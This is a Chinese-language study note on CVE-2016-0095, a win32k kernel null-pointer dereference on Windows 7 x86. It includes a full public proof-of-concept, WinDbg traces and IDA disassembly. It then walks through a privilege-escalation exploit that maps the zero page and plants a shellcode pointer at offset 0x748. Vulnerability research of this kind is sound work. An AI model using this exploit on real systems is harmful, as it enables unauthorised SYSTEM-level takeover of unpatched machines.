CVE-2016-0095提权漏洞学习笔记

一.前言

1.漏洞信息
该漏洞是在win32k中的bGetRealizedBrush产生的，是一个内核空指针解引用的漏洞，利用该漏洞可以完成提权操作。由于有公开的POC，所以对这个漏洞的分析和利用就变得简单，POC代码如下：

/*** Author: bee13oy of CloverSec Labs* BSoD on Windows 7 SP1 x86 / Windows 10 x86* EoP to SYSTEM on Windows 7 SP1 x86
**/#include <Windows.h>#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")#ifndef W32KAPI
#define W32KAPI  DECLSPEC_ADDRSAFE
#endifunsigned int demo_CreateBitmapIndirect(void) {static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };bitmap.bmBits = bits;SetLastError(NO_ERROR);HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);return (unsigned int)hBitmap;
}#define eSyscall_NtGdiSetBitmapAttributes 0x1110W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(HBITMAP argv0, DWORD argv1)
{HMODULE _H_NTDLL = NULL;PVOID addr_kifastsystemcall = NULL;_H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");__asm{push argv1;push argv0;push 0x00;mov eax, eSyscall_NtGdiSetBitmapAttributes;mov edx, addr_kifastsystemcall;call edx;add esp, 0x0c;}
}void Trigger_BSoDPoc() {HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);RECT rect = { 0 };rect.left = 0x368c;rect.top = 0x400000;HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}int main()
{Trigger_BSoDPoc();return 0;
}

2.实验环境

操作系统：Win7 x86 sp1
编译器：Visual Studio 2017
调试器：IDA，WinDbg

二.漏洞分析

【先关学习技术文档】

编译运行POC，根据信息可以得知，崩溃发生在win32k!bGetRealizedBrush偏移0x38的地址。崩溃的原因是此时的eax为0，函数要对[eax + 0x24]这个地址中的数据进行验证的时候，会因为[0x24]不是个合法地址而产生崩溃。

kd> g
KDTARGET: Refreshing KD connection
Access violation - code c0000005 (!!! second chance !!!)
win32k!bGetRealizedBrush+0x38:
96980560 f6402401        test    byte ptr [eax+24h],1
1: kd> r eax
eax=00000000
1: kd> k
ChildEBP RetAddr
9c3339a0 969834af win32k!bGetRealizedBrush+0x38
9c3339b8 969f9b5e win32k!pvGetEngRbrush+0x1f
9c333a1c 96a7b6e8 win32k!EngBitBlt+0x337
9c333a54 96a7bb9d win32k!EngPaint+0x51
9c333c20 83e781ea win32k!NtGdiFillRgn+0x339
9c333c20 77c270b4 nt!KiFastCallEntry+0x12a
0012feac 77dd066b ntdll!KiFastSystemCallRet
0012feb0 77dd064f gdi32!NtGdiFillRgn+0xc
0012fed0 0042ba63 gdi32!FillRgn+0xb2

根据偏移，可以在IDA中找到相应的代码，根据IDA的解析，可以知道，此时是因为EBRUSHOBJ偏移0x34中的数据为0导致了崩溃

.text:BF840543 loc_BF840543:                           ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+12↑j
.text:BF840543                 push    ebx
.text:BF840544                 mov     ebx, [ebp+arg_4] ; 将第二个参数赋给ebx，此时ebx指向EBRUSHOBJ结构体
.text:BF840547                 push    esi
.text:BF840548                 xor     esi, esi
.text:BF84054A                 mov     [ebp+var_24], eax
.text:BF84054D                 mov     eax, [ebx+34h]  ; 将ebx偏移0x34中保存的数据赋给eax
.text:BF840550                 mov     [ebp+arg_0], esi
.text:BF840553                 mov     [ebp+var_2C], esi
.text:BF840556                 mov     [ebp+var_28], 0
.text:BF84055A                 mov     eax, [eax+1Ch]
.text:BF84055D                 mov     [ebp+arg_4], eax
.text:BF840560                 test    byte ptr [eax+24h], 1 ; 崩溃产生的地点
.text:BF840564                 mov     [ebp+var_1C], esi
.text:BF840567                 mov     [ebp+var_10], esi
.text:BF84056A                 jz      short loc_BF84057A

三.漏洞利用

产生崩溃的原因是因为此时0地址并不是合法的地址，因此，只需要在0地址中申请一块内存，让0地址合法就可以防止崩溃，让程序继续运行。同时，该函数中存在函数调用，通过更改相关数据可以执行ShellCode。

在bGetRealizedBrush函数中，一共有三个地方执行了函数调用。其中的两个位置内容如下，都是通过第三个参数进行函数调用。由于无法控制第三个参数，所以这两个位置并不可以被利用。

.text:BF840763 loc_BF840763:
.text:BF840763                 or      eax, 80000000h
.text:BF840768                 push    eax
.text:BF840769                 push    esi
.text:BF84076A                 push    esi
.text:BF84076B                 push    esi
.text:BF84076C                 push    ecx
.text:BF84076D                 push    ebx
.text:BF84076E                 call    [ebp+arg_8]
.text:BF840771                 test    eax, eax
.text:BF840773                 jz      short loc_BF84077D。。。
.text:BF840C27 loc_BF840C27:
.text:BF840C27                 push    [ebp+var_24]
.text:BF840C2A                 push    esi
.text:BF840C2B                 push    [ebp+var_1C]
.text:BF840C2E                 push    ecx
.text:BF840C2F                 push    eax
.text:BF840C30                 push    ebx
.text:BF840C31                 call    [ebp+arg_8]

另一个位置是可以利用的，因为ebx在上面赋值为第二个参数，也就是EBRUSHOBJ结构体以后就没有发生改把。所以，此时的eax就是EBRUSHOBJ偏移0x34的数据，也就是0。所以，只要将0x748地址中的内容赋值为ShellCode的地址，就会在下面因为执行call edi而成功执行ShellCode完成提权。

.text:BF8407E4                 mov     eax, [ebx+34h]  ; eax=EBRUSHOBJ偏移0x34的数据
.text:BF8407E7                 xor     ecx, ecx
.text:BF8407E9                 cmp     dword ptr [eax+3Ch], 1
.text:BF8407ED                 mov     eax, [ebp+arg_4]
.text:BF8407F0                 mov     edi, [eax+748h] ; edi = [eax+0x748] = [0x748]
.text:BF8407F6                 setz    cl
.text:BF8407F9                 inc     ecx
.text:BF8407FA                 mov     [ebp+var_14], ecx
.text:BF8407FD                 cmp     edi, esi
.text:BF8407FF                 jz      short loc_BF840823
.text:BF840801                 test    dword ptr [eax+24h], 8000h
.text:BF840808                 jnz     short loc_BF840810
.text:BF84080A                 mov     eax, [eax+464h]
.text:BF840810
.text:BF840810 loc_BF840810:                           ;
.text:BF840810                 mov     ecx, [ebp+var_2C]
.text:BF840813                 mov     ecx, [ecx+2Ch]
.text:BF840816                 mov     edx, [ebx+0Ch]
.text:BF840819                 push    ecx
.text:BF84081A                 push    edx
.text:BF84081B                 push    [ebp+var_14]
.text:BF84081E                 push    eax
.text:BF84081F                 call    edi             ; 调用函数
.text:BF840821                 jmp     short loc_BF840837

要达到此处的函数调用，需要绕过如下的两处验证。此时的eax和esi都是0，所以这两处就是在验证[0x590]和[0x592]是否为0。

.text:BF840799 loc_BF840799:
.text:BF840799                 movzx   edx, word ptr [eax+590h]
.text:BF8407A0                 cmp     dx, si
.text:BF8407A3                 jz      loc_BF8406F7    ; [0x590]是否为0
.text:BF8407A9                 add     eax, 592h
.text:BF8407AE                 cmp     [eax], si
.text:BF8407B1                 jz      loc_BF8406F7    ; [0x592]是否为0

如果跳转到loc_BF8406F是无法达到函数调用的地方完成提权，所以这两个地方都不能是0。因此，在0地址申请内存以后，除了在0x748赋值ShellCode地址以外，还需要将0x590和0x592赋值为非0值。

BOOL Init_2016_0095()
{BOOL bRet = TRUE;if (!AllocateZeroMemory()){bRet = FALSE;goto exit;}*(PWORD)0x590 = 0x1;*(PWORD)0x592 = 0x1;*(PDWORD)0x748 = (DWORD)&ShellCode_2016_0059;exit:return bRet;
}

在崩溃点下断点以后，运行exp。此时，因为0地址有效，所以此时不会发生崩溃，程序可以继续向下运行。

3: kd> ba e1 win32k!bGetRealizedBrush+0x38
3: kd> g
Breakpoint 0 hit
win32k!bGetRealizedBrush+0x38:
96de0560 f6402401        test    byte ptr [eax+24h],1
0: kd> p
win32k!bGetRealizedBrush+0x3c:
96de0564 8975e4          mov     dword ptr [ebp-1Ch],esi
0: kd> r eax
eax=00000000

继续向下运行到第一处验证，此时si为0，而由于0x590被写入了1，所以dx不为0，不会发生跳转。

1: kd> p
win32k!bGetRealizedBrush+0x271:
96de0799 0fb79090050000  movzx   edx,word ptr [eax+590h]
1: kd> p
win32k!bGetRealizedBrush+0x278:
96de07a0 663bd6          cmp     dx,si
1: kd> p
win32k!bGetRealizedBrush+0x27b:
96de07a3 0f844effffff    je      win32k!bGetRealizedBrush+0x1cf (96de06f7)
1: kd> r dx
dx=1
1: kd> r si
si=0
1: kd> r eax
eax=00000000

继续运行到第二处验证，此时同理，不会发生跳转。

1: kd> p
win32k!bGetRealizedBrush+0x281:
96de07a9 0592050000      add     eax,592h
1: kd> p
win32k!bGetRealizedBrush+0x286:
96de07ae 663930          cmp     word ptr [eax],si
1: kd> p
win32k!bGetRealizedBrush+0x289:
96de07b1 0f8440ffffff    je      win32k!bGetRealizedBrush+0x1cf (96de06f7)
1: kd> r si
si=0
1: kd> r eax
eax=00000592
1: kd> db 00000592
00000592  01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000005a2  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

继续运行，到将0x748地址中的内容赋值给edi，此时的edi就会是ShellCode的地址。

1: kd> p
win32k!bGetRealizedBrush+0x2c8:
96de07f0 8bb848070000    mov     edi,dword ptr [eax+748h]
1: kd> p
win32k!bGetRealizedBrush+0x2ce:
96de07f6 0f94c1          sete    cl
1: kd> r edi
edi=00401050

当运行到函数调用处，edi保存的依然是ShellCode的地址

1: kd> p
win32k!bGetRealizedBrush+0x2f1:
96de0819 51              push    ecx
1: kd> p
win32k!bGetRealizedBrush+0x2f2:
96de081a 52              push    edx
1: kd> p
win32k!bGetRealizedBrush+0x2f3:
96de081b ff75ec          push    dword ptr [ebp-14h]
1: kd> p
win32k!bGetRealizedBrush+0x2f6:
96de081e 50              push    eax
1: kd> p
win32k!bGetRealizedBrush+0x2f7:
96de081f ffd7            call    edi
1: kd> r edi
edi=00401050

继续执行，就会执行ShellCode的代码完成提权

最终，程序会成功提权，如下图所示：